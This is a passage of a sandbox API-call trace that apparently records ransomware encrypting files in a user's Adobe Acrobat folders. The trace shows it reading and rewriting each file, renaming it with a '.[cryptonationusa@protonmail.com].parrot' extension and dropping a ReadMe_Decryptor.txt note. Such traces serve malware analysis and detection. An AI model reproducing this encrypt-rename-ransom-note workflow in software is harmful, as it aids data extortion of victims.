[0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0035.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x695300 [0035.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0035.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x679240 [0035.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x695300 | out: hHeap=0x5b0000) returned 1 [0035.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x67d990 [0035.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x679240 | out: hHeap=0x5b0000) returned 1 [0035.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x695300 [0035.011] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d990 | out: hHeap=0x5b0000) returned 1 [0035.011] WriteFile (in: hFile=0x26c, lpBuffer=0x695320*, nNumberOfBytesToWrite=0x8a48, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x695320*, lpNumberOfBytesWritten=0x18ebe4*=0x8a48, lpOverlapped=0x0) returned 1 [0035.012] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x695300 | out: hHeap=0x5b0000) returned 1 [0035.012] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.012] CloseHandle (hObject=0x26c) returned 1 [0035.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cc8d0 [0035.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5cc988 [0035.014] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.014] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc988 | out: hHeap=0x5b0000) returned 1 [0035.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0035.015] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6852c0 | out: hHeap=0x5b0000) returned 1 [0035.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cc958 [0035.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.015] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.015] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.016] GetFileType (hFile=0x26c) returned 0x1 [0035.016] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.026] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0035.026] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0035.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.026] lstrcmpW (lpString1="AdobeSysFnt10.lst", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.026] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.027] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x18ec60 | out: lpFileSizeHigh=0x18ec60*=0x0) returned 0x21cdb [0035.027] LockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21df3, nNumberOfBytesToLockHigh=0x0) returned 1 [0035.028] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0035.028] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0035.030] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.030] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21cdb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x21cdb, lpOverlapped=0x0) returned 1 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0035.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0035.032] GetLastError () returned 0x0 [0035.032] SetLastError (dwErrCode=0x0) [0035.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb8c8 [0035.032] GetLastError () returned 0x0 [0035.032] SetLastError (dwErrCode=0x0) [0035.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.032] GetLastError () returned 0x0 [0035.032] SetLastError (dwErrCode=0x0) [0035.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.032] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0035.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0035.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0035.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0035.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0035.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x679240 [0035.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0035.033] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x67d280 [0035.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x679240 | out: hHeap=0x5b0000) returned 1 [0035.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x6852c0 [0035.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d280 | out: hHeap=0x5b0000) returned 1 [0035.036] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x2210048 [0035.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6852c0 | out: hHeap=0x5b0000) returned 1 [0035.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40033) returned 0x2230088 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb) returned 0x606998 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0035.041] GetLastError () returned 0x0 [0035.041] SetLastError (dwErrCode=0x0) [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cc8d0 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.041] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0035.041] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0035.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d470 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d470 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cc8d0 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cc968 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cbeb0 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x60cdc0 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x22700c8 [0035.042] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0035.042] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5cce58 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22700c8 | out: hHeap=0x5b0000) returned 1 [0035.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x2210048 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0035.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x2212fe0 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0035.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2217730 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2212fe0 | out: hHeap=0x5b0000) returned 1 [0035.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x221e210 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2217730 | out: hHeap=0x5b0000) returned 1 [0035.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x679240 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x221e210 | out: hHeap=0x5b0000) returned 1 [0035.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x688278 [0035.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x679240 | out: hHeap=0x5b0000) returned 1 [0035.044] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x22700c8 [0035.045] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x688278 | out: hHeap=0x5b0000) returned 1 [0035.046] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x32a39) returned 0x2291d08 [0035.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22700c8 | out: hHeap=0x5b0000) returned 1 [0035.048] WriteFile (in: hFile=0x26c, lpBuffer=0x2291d20*, nNumberOfBytesToWrite=0x21df8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2291d20*, lpNumberOfBytesWritten=0x18ebe4*=0x21df8, lpOverlapped=0x0) returned 1 [0035.048] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2291d08 | out: hHeap=0x5b0000) returned 1 [0035.048] UnlockFile (hFile=0x26c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21df3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0035.049] CloseHandle (hObject=0x26c) returned 1 [0035.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cc8d0 [0035.050] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x5cc988 [0035.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.051] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0035.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc988 | out: hHeap=0x5b0000) returned 1 [0035.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0035.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2230088 | out: hHeap=0x5b0000) returned 1 [0035.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5cc958 [0035.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0035.057] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0035.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x26c [0035.058] GetFileType (hFile=0x26c) returned 0x1 [0035.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0035.068] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0035.068] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0035.068] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc8d0 [0035.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cc958 [0035.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc8d0 | out: hHeap=0x5b0000) returned 1 [0035.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x606a50 [0035.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0035.068] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0035.068] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.068] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.068] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.068] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.068] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xcfc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt10.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0035.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4e8 [0035.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4e8 | out: hHeap=0x5b0000) returned 1 [0035.068] lstrcmpW (lpString1="AcroFnt10.lst", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0035.069] GetFileSize (in: hFile=0x274, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0xcfc4 